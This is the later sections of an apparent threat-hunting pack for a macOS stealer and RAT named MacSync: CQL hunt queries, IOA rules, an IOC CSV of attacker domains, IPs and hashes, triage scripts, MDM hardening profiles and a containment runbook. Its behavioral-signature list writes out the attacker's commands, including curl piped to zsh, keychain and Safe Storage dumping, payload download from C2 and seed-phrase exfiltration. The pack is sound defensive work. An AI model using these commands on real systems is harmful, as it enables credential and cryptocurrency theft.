// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: legitimate installers occasionally build LaunchAgents with PlistBuddy
// TUNING: exclude PlistBuddy invocations whose ParentBaseFileName is your MDM agent or a signed vendor installer; the .hcpi and .mpwd branches need no tuning
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| CommandLine=/\.hcpi/i or CommandLine=/\/loader\/(agent|capture-agent)\//i or CommandLine=/\.local\/\.mpwd/i or (FileName=/^PlistBuddy$/i and CommandLine=/(RunAtLoad|KeepAlive|ProgramArguments)/i)
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=max)
Q7 · Stage 5 — silent screencapture and the TCC handshake marker files
CONF MEDFP MEDCOST LOW

Looks for: /usr/sbin/screencapture -x (the -x suppresses the shutter sound), the com.apple.<8hex>.capture.app bundle, and the /tmp/.com.apple.tcc.prompted / .result marker files the RAT and the helper use to coordinate. The helper links no capture APIs at all — it shells out to Apple's own signed binary — so the screencapture process event is the observable. FP: medium; screen-sharing and support tooling call screencapture, and users take screenshots. The -x flag plus a non-UI parent is the discriminator (H7, T1113/T1548).

// HUNT: MacSync stage 5 — screencapture -x from the signed 'Screen Recording' helper, plus TCC markers
// MITRE: T1113, T1548, T1036
// CONF: medium  FP: medium  COST: low | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: remote-support and screen-recording tools, and user-initiated screenshots
// TUNING: exclude ParentBaseFileName of approved remote-support agents; the /tmp/.com.apple.tcc.* and .capture.app branches need no tuning
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| (FileName=/^screencapture$/i and CommandLine=/\s-[a-zA-Z]*x/) or CommandLine=/\/tmp\/\.com\.apple\.tcc\.(prompted|result)/i or CommandLine=/\.capture\.app/i or CommandLine=/tcc-only/i
| ParentBaseFileName!=/^(SystemUIServer|loginwindow|Screenshot|Dock)$/i
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q8 · Stage 6 — wallet apps rewritten in place and ad-hoc re-signed
CONF HIGHFP MEDCOST MED

Looks for: the money stage. Any command line naming Ledger Wallet.app, Ledger Live.app or Trezor Suite.app; an app.asar swap; injected recovery-step- files; xattr -cr clearing quarantine over a bundle (the Trezor branch does this, the Ledger branches do not); and above all codesign -f -s -, the ad-hoc re-sign that lets a tampered bundle run at all. FP: medium — developers ad-hoc sign their own builds constantly. The discriminator is the target: an ad-hoc signature applied to something under /Applications that shipped with a vendor signature (H8, T1554/T1553/T1056.002).

// HUNT: MacSync stage 6 — Ledger/Trezor bundle rewrite, app.asar swap, ad-hoc codesign, recovery-step phishing pages
// MITRE: T1554, T1553, T1056.002, T1036
// CONF: high  FP: medium  COST: medium | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: developers ad-hoc signing their own builds; Electron app self-updates rewriting app.asar
// TUNING: exclude developer ComputerName groups for the bare codesign branch; a codesign or asar hit that also names a wallet bundle is never benign
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| CommandLine=/(Ledger Wallet|Ledger Live|Trezor Suite)\.app/i or CommandLine=/recovery-step-/i or CommandLine=/app\.asar/i or (FileName=/^codesign$/i and CommandLine=/-f\s+-s\s+-(\s|$)/) or (FileName=/^xattr$/i and CommandLine=/-[a-zA-Z]*cr?(\s|$)/)
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q9 · Network — MacSync delivery, operator panel, RAT C2 and seed-drop infrastructure
CONF HIGHFP LOWCOST LOW

Looks for: every named host and IP across both waves — the two wave-1 delivery domains, the two seed-phrase drop domains, the three wave-2 domains, the operator panel IP and the RAT's raw-IP TLS endpoint on 8443. All are atomic and all trace to a saved source snapshot. FP: low — none of these are shared infrastructure. Deliberately excluded: the two Cloudflare edge IPs published in the second-wave reporting, which front millions of unrelated sites (H9, T1071.001/T1571/T1567/T1041).

// HUNT: MacSync infrastructure — delivery, operator panel, RAT C2 (8443/TLS), seed-phrase drops
// MITRE: T1071.001, T1571, T1573.002, T1041, T1567
// CONF: high  FP: low  COST: low | REQUIRES: DnsRequest + NetworkConnectIP4 (macOS)
// LOOKBACK: 90d — infrastructure is the longest-lived signal here; widen the console window
// FALSE POSITIVES: none expected — these hosts are attacker-registered, not shared services
// TUNING: none. Do NOT add 104.21.40.24 or 172.67.174.150 — those are shared Cloudflare edge IPs, not operator infrastructure
#event_simpleName=/DnsRequest|NetworkConnectIP4/
| event_platform=Mac
| DomainName=/(^|\.)(agenticsora|malwareaudit|sdhomeinspectors|southcarolinacounselor|hybridcustomhomes|houstongaragedoorinstallers|mansfieldpediatrics)\.com$/i or RemoteAddressIP4=/^(85\.206\.161\.241|103\.216\.221\.95)$/
| table([@timestamp, ComputerName, aid, UserName, DomainName, RemoteAddressIP4, RemotePort, ContextBaseFileName], limit=max)
Q10 · Stage 3 — ~/.zshrc re-pull persistence and the scripted Full Disk Access prompt
CONF MEDFP MEDCOST LOW

Looks for: the Full Disk Access gate and its short-lived persistence. The stealer opens the exact settings pane with open x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles, backs ~/.zshrc up to /tmp/.zshrc, appends its own re-pull one-liner, and runs killall Terminal to force the restart macOS requires before a new TCC grant applies. FP: medium — dotfile managers and shell installers touch ~/.zshrc. The settings-pane URL and the killall Terminal are the discriminators (H10, T1204/T1546/T1548).

// HUNT: MacSync stage 3 — Full Disk Access pane opened programmatically + ~/.zshrc re-pull persistence
// MITRE: T1204, T1548, T1546, T1140
// CONF: medium  FP: medium  COST: low | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: dotfile managers (chezmoi, yadm), oh-my-zsh installers and shell-config automation
// TUNING: exclude ParentBaseFileName of your dotfile tooling; the Privacy_AllFiles and killall-Terminal branches need no tuning
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| CommandLine=/Privacy_AllFiles/i or CommandLine=/\/tmp\/\.zshrc/i or (FileName=/^killall$/i and CommandLine=/Terminal/i) or (FileName=/^(cp|mv|tee|grep)$/i and CommandLine=/zshrc/i)
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
09

CrowdStrike Custom IOA Recommendations

Promotion candidates from the hunt queries above. Platform macOS, Process Create rule type unless noted.

IOA NamePatternExclusionsAction / Deployment
Insecure curl From Interactive TerminalParent Terminal|iTerm2|zsh|logincurl with a -k flag, or a pipe to zsh/sh in the command lineBuild agents; hosts behind a corporate MITM proxy that require -kDetect immediately, block after a 1–2 week baseline (from Q1) · M1040
Remote Script Piped To osascriptosascript with a shell or curl parent, or a command line containing /dynamic?txd=MDM agents (jamf, Munki, Kandji), packaged app helpersDetect (from Q2). Strong block candidate on non-developer fleets · M1042
Password Validation Oracle (dscl authonly)dscl with authonly in the command line, repeated within a short window on one hostApproved helpdesk credential-check toolingDetect → block (from Q3). Very few environments have a legitimate loop · M1040
MacSync Staging ArtifactsCommand line containing /tmp/macsync_, osalogging.zip, /tmp/.kgrab.sh or /tmp/.kpwdNone — every string is campaign-specificBlock (from Q4/Q5). Highest-confidence blocking IOA in this pack
Hidden Implant Under ~/.localAny process referencing a .hcpi path or ~/.local/.mpwdNoneBlock (from Q6)
Ad-Hoc Re-Sign Of A Wallet Bundlecodesign with -f -s - where the command line also names Ledger Wallet.app, Ledger Live.app or Trezor Suite.appNone for the wallet-scoped form; exclude developer groups if you widen it to any bundleBlock (from Q8) · M1045
Silent Screen Capture By Non-UI Parentscreencapture with -x, parent not SystemUIServer/loginwindow/DockApproved remote-support and screen-recording agentsDetect (from Q7); promote to block once support tooling is enumerated

Q3's value is in the aggregation, not a single event, so it deploys best as a scheduled search rather than a Process-Create IOA. Q9 belongs in Falcon IOC Management (S10 CSV) rather than as an IOA.

10

Machine-Readable IOC Appendix

One-click copy blocks for ingestion. Every atomic value below traces to a saved source snapshot. The two Cloudflare edge IPs from the second-wave reporting are deliberately absent from the CSV — see S4.

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
domain,agenticsora.com,detect,critical,2027-02-01,MacSync delivery C2 (loader/stealer/agent/wallet payloads),campaign:MacSync|wave:huntress
domain,malwareaudit.com,detect,critical,2027-02-01,MacSync second delivery domain same kit,campaign:MacSync|wave:huntress
ipv4,85.206.161.241,detect,critical,2027-02-01,MacSync RAT C2 raw-IP TLS WebSocket port 8443,campaign:MacSync|wave:huntress
ipv4,103.216.221.95,detect,high,2027-02-01,MacSync operator panel IP from stage 3 beacon,campaign:MacSync|wave:huntress
domain,main.sdhomeinspectors.com,detect,critical,2027-02-01,MacSync Ledger seed-phrase drop /modules/wallets,campaign:MacSync|wave:huntress
domain,main.southcarolinacounselor.com,detect,critical,2027-02-01,MacSync Trezor seed-phrase drop /modules/wallets,campaign:MacSync|wave:huntress
domain,sdhomeinspectors.com,detect,high,2027-02-01,MacSync seed-drop apex attacker-registered,campaign:MacSync|wave:huntress
domain,southcarolinacounselor.com,detect,high,2027-02-01,MacSync seed-drop apex attacker-registered,campaign:MacSync|wave:huntress
domain,hybridcustomhomes.com,detect,high,2027-02-01,MacSync second-wave delivery C2,campaign:MacSync|wave:csn
domain,houstongaragedoorinstallers.com,detect,high,2027-02-01,MacSync second-wave sibling domain,campaign:MacSync|wave:csn
domain,mansfieldpediatrics.com,detect,high,2027-02-01,MacSync second-wave sibling domain,campaign:MacSync|wave:csn
sha256,3db8befc08dc02ab7a76b5193abd81653775e8f3ceac5864c7c2188b2dbd3c54,detect,critical,2027-02-01,MacSync stage 3 dynamic AppleScript stealer,campaign:MacSync
sha256,3ae26ed89d3a1a140edc89ca78513aba2895789ed0d0f64cad6605b6f2347c7e,prevent,critical,2027-02-01,MacSync stage 4 agent RAT universal Mach-O,campaign:MacSync
sha256,78dea0693ac2d70bdf8be7588667a75910e43fd84397ad484e710e37369a30f7,prevent,critical,2027-02-01,MacSync stage 5 capture agent bundle,campaign:MacSync
sha256,9c09c303fa058c2d3e179969bd58ca5523775ff2d310fb2f8266ac74cb21ee81,prevent,critical,2027-02-01,MacSync stage 5 ScreenCap Mach-O,campaign:MacSync
sha256,071bd109208eb1080ef525b5be394244cec467c59ffef5b8782cfb5e4850401d,prevent,critical,2027-02-01,MacSync Ledger Wallet trojan payload,campaign:MacSync
sha256,31566a1df7070f30cb990aa5eab310c1d4e0266c8776e9438138e5438ec1cff8,prevent,critical,2027-02-01,MacSync Ledger Live trojan payload,campaign:MacSync
sha256,230dff4bf9442a951dcd6898b2110924969a20668c20a43e3ceed6fcef65963e,prevent,critical,2027-02-01,MacSync Trezor Suite trojan payload,campaign:MacSync
sha256,ae89034f81cb488b67a27ebe66e21a5a60098a6dc7271dd18be883bf221b02bf,detect,high,2027-02-01,MacSync second-wave payload,campaign:MacSync|wave:csn
# Loader hash intentionally omitted: the stage 1 wrapper is per-build polymorphic. Hunt it with Q1.
# HTTP api-key header values (not importable as IOCs, use in proxy rules):
#   9dd465d26c7d86b4a6f514a4b46b2295   wave 1
#   5190ef1733183a0dc63fb623357f56d6   wave 2
Behavioral Signatureshunt logic
parent Terminal|iTerm2|zsh -> curl with -k (TLS verify off)   # stage 1
curl ... /dynamic?txd= | osascript                            # stage 2
dscl . authonly <user> <guess>  repeated on one host          # stage 3 password oracle
security find-generic-password -w -s "* Safe Storage"         # stage 3 browser keys
security unlock-keychain -p "$(cat /tmp/.kpwd)"               # stage 3 keychain fallback
mkdir /tmp/macsync_<token>.lock                               # stage 3 mutex
ditto -c -k --sequesterRsrc <staging> /tmp/osalogging.zip     # stage 3 archive
curl .../loader/agent/<token> -o ~/.local/*.hcpi              # stage 4 RAT drop
PlistBuddy -c 'Add ...' with RunAtLoad + KeepAlive            # stage 4 persistence
/usr/sbin/screencapture -x   parent not SystemUIServer        # stage 5 capture
codesign -f -s -   over a /Applications wallet bundle         # stage 6 re-sign
POST /modules/wallets  body contains a seedwords array        # stage 6 exfil
LaunchAgent ProgramArguments pointing into ~/.local           # label may impersonate a vendor updater
Named Tooling / Artifactsreference
MacSync Stealer — self-branded "Build 1", version 1.1.2_release (x64_86 & ARM)
Lineage:   AMOS / Atomic Stealer family resemblance (not a named-actor attribution)
Delivery:  Google Ads -> claude.ai/share lure badged "Shared by Apple Support"
Stage 1:   1,442-byte zsh wrapper, gzip+base64 heredoc, eval'd; per-build polymorphic
Stage 2:   daemon_function -> /dynamic?txd= | osascript ; chunked PUT to /gate
Stage 3:   ~46 KB AppleScript, never on disk; FDA gate; dscl authonly oracle
Stage 4:   C++ universal Mach-O, ad-hoc signed, static OpenSSL 3.6.2, AES-256-CBC
           over WebSocket/TLS to 85.206.161[.]241:8443 ; forkpty interactive shell
Stage 5:   ScreenCap in com.apple.<8hex>.capture.app, CFBundleName "Screen Recording"
Stage 6:   Ledger Wallet / Ledger Live / Trezor Suite rewritten in place, re-signed
Endpoints: /curl/<token> /dynamic?txd= /gate?buildtxd= /loader/agent/<token>
           /loader/capture-agent/<token> /ledger/<token> /trezor/<token> /modules/wallets
Observed 8-hex build ids: 54a28156, 6c66fd27, dbfc21d4, a3b73d35 (per-delivery, not IOCs)
Host Triage / Exposure Auditverify
# 1. Implant + persistence (label may NOT be com.apple.*)
ls -la ~/.local/*.hcpi ~/.local/.mpwd 2>/dev/null
grep -l "$HOME/.local" ~/Library/LaunchAgents/*.plist 2>/dev/null
# 2. Staging + TCC markers (usually already deleted; absence proves nothing)
ls -la /tmp/macsync_* /tmp/sync* /tmp/osalogging.zip \
       /tmp/.kgrab.sh /tmp/.kpwd /tmp/.com.apple.tcc.* 2>/dev/null
# 3. Broken persistence cleanup — read this on ANY host where the FDA pane opened twice
grep -nE 'curl.*\|[[:space:]]*zsh|base64 -D' ~/.zshrc /tmp/.zshrc 2>/dev/null
# 4. Wallet bundle integrity — ad-hoc signature with no Team ID is conclusive
for a in "Ledger Wallet" "Ledger Live" "Trezor Suite"; do
  [ -d "/Applications/$a.app" ] && codesign -dvv "/Applications/$a.app" 2>&1 | \
    grep -E 'Signature|TeamIdentifier|Authority'
done
find /Applications -name 'recovery-step-*' -maxdepth 4 2>/dev/null
# 5. Screen Recording grants held by a non-Apple bundle claiming an Apple identifier
sqlite3 "$HOME/Library/Application Support/com.apple.TCC/TCC.db" \
  'select client,auth_value from access where service="kTCCServiceScreenCapture"' 2>/dev/null
11

Detection Validation Gates

GateCheckPass criteria
1 · Telemetry readyFalcon for macOS deployed fleet-wide; ProcessRollup2, DnsRequest and NetworkConnectIP4 arriving with event_platform=MacEvents from a representative macOS population within the last 24h; the CQL section's FileName field populated on macOS process events
2 · Benign baselineRun Q2, Q4, Q7, Q8 and Q10 over 7–14 days without acting. Catalogue MDM-driven osascript, password-manager security calls, remote-support screencapture, developer codesign, and dotfile toolingKnown-good parents and command lines enumerated and written into each card's // TUNING: line
3 · Positive testOn an isolated lab Mac: curl -kfsSL https://example.test/x from Terminal (Q1); osascript -e 'return 1' from a shell (Q2); dscl . authonly $USER wrongpass three times (Q3); ditto -c -k --sequesterRsrc /tmp/x /tmp/osalogging.zip (Q5); screencapture -x /tmp/t.png (Q7)Q1, Q2, Q3, Q5 and Q7 each return the corresponding test event
4 · Negative controlConfirm Q5, Q6 and Q9 return zero rows over the baseline window on a known-clean fleetZero hits. Any hit on these three is an incident, not a tuning problem
5 · PromotionQ1, Q3, Q5, Q6 and the wallet-scoped half of Q8 reviewed for FP rate after baseliningPromote Q5/Q6 and wallet-scoped Q8 to blocking IOAs; keep Q2, Q4, Q7 and Q10 as detect-and-investigate; load Q9's values into IOC Management
12

Hardening — Tiered

Immediate (this week — low compatibility risk)
  • Block the infrastructure. Push the S10 CSV into Falcon IOC Management and sinkhole the seven domains at your resolver. Add an egress rule for TCP/8443 to 85.206.161[.]241. The RAT dials a bare IP over TLS, so domain-based controls alone will not see it. (M1037 — Filter Network Traffic.)
  • Deploy Q5, Q6 and Q9 as detections today. They are near-zero FP and each one catches a stage the victim cannot undo on their own. (M1040 — Behavior Prevention on Endpoint.)
  • Sweep the fleet with the S10 audit block. Prioritise the ~/.local/*.hcpi + .mpwd pair and the wallet-bundle signature check. Both survive the malware's own cleanup.
  • Brief users on the specific lure, not "phishing" in general. The message that works is narrow: no legitimate software install ever requires pasting a command into Terminal, and a "Shared by Apple Support" badge on an AI chat page is a display name the poster chose, not a verified identity. Tell them what to do instead — install from the vendor's own documentation, reached by typing the domain, never by clicking a sponsored result. (M1017 — User Training.)
Near term (1–4 weeks — pilot first)
  • Manage Full Disk Access centrally with PPPC, and stop granting it to Terminal. The entire stage 3 collection is gated on FDA, and the malware's only route to it is walking the user through System Settings. A PPPC profile that pre-approves the handful of apps that genuinely need FDA — and denies it to Terminal on non-developer fleets — removes the gate the attacker depends on. (M1022 — Restrict File and Directory Permissions; CIS Apple macOS Benchmark.)
  • Manage the Screen Recording TCC grant the same way. Stage 5 exists purely because a user can be talked into clicking Allow on a prompt from an app calling itself "Screen Recording". A managed allowlist means the prompt never appears. (M1022.)
  • Enforce Gatekeeper and notarisation via MDM, and deny ad-hoc-signed executables. Every payload in this chain is ad-hoc signed with no Team ID, including the re-signed wallet bundles. Setting the system policy to require identified developers, and blocking user override of spctl, breaks stages 4, 5 and 6 together. (M1038 — Execution Prevention; M1045 — Code Signing.)
  • Restrict osascript and Terminal on non-developer fleets via application control. Stage 2 has no fallback if osascript cannot run. (M1042 — Disable or Remove Feature or Program.)
  • Inspect egress and alert on plain HTTP from curl with cert validation disabled. A proxy that sees the /curl/ and /dynamic requests catches the chain before stage 3 collects anything. (M1037.)
Strategic (1–3 months)
  • Get crypto custody off endpoints that browse the web. Stage 6 works because the wallet companion app and the victim's browser live on the same machine. Hardware-wallet management on a dedicated, non-browsing device makes the whole final stage inapplicable, and it is the only control that survives a compromise of the primary laptop.
  • Move developer secrets out of plaintext dotfiles. ~/.ssh, ~/.aws and ~/.kube were all collected verbatim. Passphrase-protected keys held in an agent, short-lived cloud credentials issued by an IdP, and a secrets manager for everything else mean the collection returns material that expires. (M1027 — Password Policies; M1026 — Privileged Account Management.)
  • Make stolen session cookies less useful. Token binding, short session lifetimes and re-authentication on sensitive actions blunt the browser-cookie half of the haul, which is otherwise MFA-proof by construction. (M1032 — Multi-factor Authentication.)
  • Application allowlisting on macOS, so a freshly written binary under ~/.local cannot execute at all regardless of its name or signature. (M1038.)
  • Establish a wallet-bundle integrity baseline as a recurring MDM check (S13-C), so an in-place rewrite is detected on the next run rather than at the moment funds disappear.
13

Deployable Playbooks

A · Enforce Gatekeeper and deny ad-hoc signed code (MDM configuration profile)

Every MacSync payload is ad-hoc signed with no Team ID. Deploy this com.apple.systempolicy.control payload through Jamf, Intune or Kandji:

<!-- profile payload: com.apple.systempolicy.control -->
<key>PayloadType</key><string>com.apple.systempolicy.control</string>
<key>EnableAssessment</key><true/>
<key>AllowIdentifiedDevelopers</key><true/>
<!-- prevent users disabling Gatekeeper from the command line -->
<key>AllowUserOverrides</key><false/>

B · Pre-approve Full Disk Access and Screen Recording, deny the rest (PPPC profile)

Stage 3 needs FDA and stage 5 needs Screen Recording. Both arrive only by talking a user through a prompt. A managed PPPC payload means the prompt never appears for anything you did not approve:

<!-- payload: com.apple.TCC.configuration-profile-policy -->
<!-- Services: SystemPolicyAllFiles (FDA), ScreenCapture -->
<!-- Allow ONLY the identifiers your fleet genuinely needs, e.g. -->
<key>Identifier</key><string>com.your.backup.agent</string>
<key>IdentifierType</key><string>bundleID</string>
<key>CodeRequirement</key><string>identifier "com.your.backup.agent" and anchor apple generic and certificate leaf[subject.OU] = "TEAMID"</string>
<key>Allowed</key><true/>
<!-- Do NOT grant SystemPolicyAllFiles to com.apple.Terminal on standard fleets -->

C · Wallet bundle integrity check (shell — schedule via MDM)

#!/bin/zsh
# Flags an in-place rewrite of a hardware-wallet companion app.
# An ad-hoc signature (no TeamIdentifier) on a vendor app is conclusive.
for app in "Ledger Wallet" "Ledger Live" "Trezor Suite"; do
  p="/Applications/$app.app"
  [ -d "$p" ] || continue
  out=$(codesign -dvv "$p" 2>&1)
  echo "$out" | grep -q 'TeamIdentifier=not set' && echo "SUSPECT ad-hoc signature: $p"
  echo "$out" | grep -q 'Signature=adhoc'        && echo "SUSPECT ad-hoc signature: $p"
  find "$p" -name 'recovery-step-*' -print 2>/dev/null | \
    sed 's/^/SUSPECT injected phishing page: /'
done

D · Fleet sweep for the implant and its persistence (shell — push via MDM)

#!/bin/zsh
# The LaunchAgent LABEL is unreliable: it impersonates Keystone, Adobe ARM,
# Microsoft AutoUpdate, OneDrive, Dropbox, Spotify, Grammarly or JetBrains
# when one of those plists already exists. Anchor on the ~/.local target instead.
for u in /Users/*; do
  [ -d "$u" ] || continue
  ls -la "$u"/.local/*.hcpi "$u"/.local/.mpwd 2>/dev/null
  grep -l "$u/.local" "$u"/Library/LaunchAgents/*.plist 2>/dev/null
  grep -nE 'curl.*\|[[:space:]]*zsh|base64 -D' "$u"/.zshrc 2>/dev/null
done
ls -la /tmp/macsync_* /tmp/sync* /tmp/osalogging.zip /tmp/.com.apple.tcc.* 2>/dev/null

E · Credential and asset rotation checklist (post-compromise)

# Treat ALL of the following as exfiltrated on any confirmed host.
# The account password was VALIDATED in plaintext, so it is known-good to the operator.
#  1. macOS account password  -> change from a clean device, then change again after reimage
#  2. Login keychain items    -> every stored secret; the keychain was unlocked with (1)
#  3. Browser sessions        -> force global sign-out; cookies bypass MFA entirely
#  4. Browser saved logins    -> rotate; Safe Storage keys were stolen alongside them
#  5. SSH keys (~/.ssh)       -> revoke, reissue, prune authorized_keys everywhere
#  6. Cloud creds (~/.aws)    -> rotate access keys, revoke active STS sessions
#  7. Kubeconfig (~/.kube)    -> rotate cluster credentials and service-account tokens
#  8. Telegram sessions       -> terminate all other sessions from the app
#  9. Package/CI tokens       -> revoke PATs, review publish and pipeline history
# 10. CRYPTO — the one that is not reversible:
#     move funds to a wallet derived from a NEW seed generated on a clean device.
#     Reinstalling the wallet app does NOT help if the phrase was ever entered.
14

Containment Runbook

PhaseActionsOwnerEvidence
IsolateNetwork-contain in Falcon immediately — the RAT has an interactive shell and self-removal on command, so every minute of connectivity is operator time. Do not reboot: the LaunchAgent has KeepAlive set and a reboot relaunches the implant while destroying volatile evidence. Capture /tmp, ~/.local, ~/Library/LaunchAgents and shell history first.SOC / IRContainment record; /tmp and ~/.local acquisition
ScopeRun Q1–Q10 fleet-wide. Q9 across 90 days finds hosts that touched the infrastructure even if the process events aged out. Pivot on aid from any hit to the full process tree.SOCQuery results per host; process trees
EradicateRemove the LaunchAgent plist and the ~/.local .hcpi + .mpwd pair, the .capture.app bundle, and any /tmp artifacts still present. Restore ~/.zshrc by hand — the malware's own restore is buggy and may have left the re-pull line in place.IRRemoved-artifact inventory; before/after ~/.zshrc
Wallets firstBefore anything else in the credential queue: identify every crypto asset reachable from this host. If a recovery phrase was ever entered into a wallet app on it, move funds to a wallet from a new seed generated on a clean device. This step has a deadline the others do not — the operator can drain a wallet the moment they read the phrase.IR lead / asset ownerTransfer records; new-seed provenance
Rotate credentialsWork the S13-E list in order. The macOS account password is confirmed-correct in the operator's hands, so it gates everything else. Force global session sign-out across the IdP for the user.IR / IdentityRotation log; session-revocation confirmations
RecoverReimage. Do not clean in place — the wallet applications were rewritten on disk, the RAT could have staged anything through its chunked download, and a Screen Recording TCC grant may be attached to a re-signed identity. Re-enrol with the S13-A and S13-B profiles applied.EndpointReimage record; post-restore Q1–Q10 results
ReportDocument the lure path (search term, ad campaign id, share URL), the wave (wave-1 or wave-2 infrastructure), what was collected, and every asset rotated. Report the malicious share page and the ad campaign to the platforms — that is what takes the lure down for the next person.IR leadTimeline; lure provenance; impact and rotation record
15

Detection Coverage Map

TechniqueBehaviourCQLIOACoverage
T1189Malvertised ad hop to a claude.ai/share lureGAP — proxy/browser-history only (S7); no endpoint telemetry sees this
T1059.004 / T1105 / T1140curl -k pasted into Terminal, piped to zshQ1Yes (block candidate)Good
T1059.002Remote AppleScript piped to osascriptQ2YesPartial — MDM/automation baselining required
T1056.002 / T1204dscl authonly password oracle behind a fake dialogueQ3Yes (scheduled search)Good
T1555.001 / T1555.003Safe Storage keys + keychain unlock with captured passwordQ4YesGood
T1074.001 / T1560.001 / T1070.004macsync lock, /tmp/sync staging, ditto archiveQ5Yes (block candidate)Good
T1543.001 / T1036.hcpi implant under ~/.local + PlistBuddy LaunchAgentQ6Yes (block candidate)Good
T1113 / T1548screencapture -x by the signed TCC helperQ7YesPartial — support-tool baselining required
T1554 / T1553Wallet bundle rewrite and ad-hoc re-signQ8Yes (wallet-scoped)Partial — developer codesign noise on the broad branch
T1071.001 / T1571 / T1041 / T1567Delivery, panel, RAT C2 and seed-drop trafficQ9IOC ManagementGood
T1546 / T1548~/.zshrc re-pull + scripted Full Disk Access paneQ10Partial — dotfile-tooling baselining required
T1005 / T1539Direct file reads of browser profiles and wallet extension storagePartial (Q5)GAP — file-read telemetry on profile dirs is policy-dependent; Q5 catches the staging and archive instead
T1573.002AES-256-CBC-in-WebSocket over TLS to a bare IPQ9 (endpoint only)GAP — payload is encrypted twice over; only the destination is observable

Validation: the spine of this pack is strong. Q5, Q6 and Q9 are near-zero FP and each catches a stage the victim cannot reverse; treat any hit on those three as an incident rather than a tuning exercise, and work Gate 4 (negative control) in S11 before promoting anything. Q2, Q7, Q8 and Q10 need one baselining pass each — MDM automation, remote-support tooling, developer code-signing and dotfile managers respectively — and every one of those exclusions belongs in the card's // TUNING: line, not in a runbook. Three genuine gaps remain and none are closeable with endpoint telemetry: the malvertising hop lives in proxy logs (S7), direct file reads of browser profiles depend on your sensor's file-event policy, and the RAT's C2 payload is encrypted inside an encrypted channel so only the destination is ever visible. The compensating control for all three is the S12 near-term tier — managed TCC, enforced Gatekeeper, and egress inspection — which removes the attacker's prerequisites rather than trying to observe the consequence.

16

Hunt Summary Ticket

TITLE:      Hunt — MacSync six-stage macOS stealer + RAT (fake Claude install guide)
SEVERITY:   Critical (validated plaintext password, keychain dump, RAT with interactive
            shell, and in-place trojanisation of hardware-wallet apps)
SCOPE:      All macOS endpoints. Prioritise developer, engineering and finance laptops,
            and any host with a crypto wallet application installed.
HYPOTHESIS: Malvertised Google Ads result -> weaponised claude.ai/share page badged
            "Shared by Apple Support" -> user pastes curl -k ... | zsh into Terminal ->
            server-side AppleScript stealer takes Full Disk Access, validates the account
            password via dscl . authonly, dumps keychain + browsers + wallets ->
            Mach-O RAT persists in ~/.local via LaunchAgent -> signed helper farms the
            Screen Recording TCC grant -> Ledger/Trezor apps rewritten to phish the seed.
QUERIES:    Q1 curl -k from Terminal      | Q2 remote AppleScript to osascript
            Q3 dscl authonly oracle       | Q4 Safe Storage + keychain unlock
            Q5 macsync lock/staging/ditto | Q6 .hcpi implant + LaunchAgent
            Q7 screencapture -x + TCC     | Q8 wallet rewrite + ad-hoc codesign
            Q9 infrastructure (DNS + IP)  | Q10 .zshrc re-pull + FDA pane
DO FIRST:   1) Run Q5, Q6 and Q9 fleet-wide — all three are near-zero FP
            2) Push the S10 CSV to Falcon IOC Management; sinkhole the seven domains
            3) Fleet-sweep with S13-D (~/.local/*.hcpi + .mpwd) and S13-C (wallet signatures)
            4) ANY hit: contain without rebooting, then work wallets BEFORE credentials
FINDINGS:   <fill: hosts, wave, lure URL and ad campaign id, artifacts, process trees,
            wallet apps present, whether a seed phrase was entered>
GAPS:       Malvertising hop is proxy-only; browser-profile file reads are policy-dependent;
            RAT C2 payload is AES-in-TLS so only the destination is observable
ACTIONS:    Block infrastructure; managed PPPC for Full Disk Access and Screen Recording;
            enforce Gatekeeper and deny ad-hoc signatures; restrict osascript on standard
            fleets; reimage every confirmed host; rotate per S13-E; move crypto to a NEW seed
OWNER:      HuntPack
VERSION:    v0.1 · 2026-08-01
17

Changelog

v0.12026-08-01Initial HuntPack. 10 macOS CQL hunts (Q1–Q10) covering all six stages, 7 Custom IOA candidates, full ATT&CK mapping, tiered hardening centred on managed TCC and Gatekeeper enforcement, four deployable playbooks, and a containment runbook that puts wallet recovery ahead of credential rotation. Built from the Huntress reverse-engineering report of 2026-07-29 plus three corroborating outlets. Two indicator decisions are recorded in S2: a 66-character malformed "SHA-256" from one secondary source was dropped rather than repaired, and the two Cloudflare shared-edge IPs published as second-wave C2 are carried as context only and excluded from the import CSV. The stage 1 loader hash is deliberately not shipped — the wrapper is per-build polymorphic and the value would never match twice.
18

References

TierSourceUsed forAccess date
1 · Vendor REHuntress — Reverse Engineering the Six Stages of MacSync Stealer and RATFull six-stage chain, every hash, all endpoint paths, both C2 tiers, host artifact list, ATT&CK mapping, the persistence-cleanup bug2026-08-01
2 · PressIT Security Guru — Fake Claude Install Guide Delivers Six-Stage macOS Stealer and RATIndependent corroboration of the delivery narrative and the wallet-rewrite stage2026-08-01
2 · PressGBHackers — MacSync Stealer RAT Uses Fake Claude Guides to Steal Passwords and Crypto WalletsSecond independent restatement of the delivery domains, both C2 tiers, seed-drop domains and the .hcpi/.mpwd/lock artifacts2026-08-01
2 · PressCyber Security News — Fake Claude Code Install Guide Uses Google Ads to Deliver MacSync InfostealerSecond-wave infrastructure, the wave-2 api-key, the Keystone-impersonating LaunchAgent, and the wave-2 payload hash2026-08-01
3 · FrameworkMITRE ATT&CK — macOS matrixTechnique IDs and mitigation references used in S6 and S122026-08-01

Source snapshots for all four reporting sources are archived alongside this pack in MacSync-Stealer-macOS-Hunt-sources/. Every atomic indicator shipped in S10 was traced against those snapshots before publication.

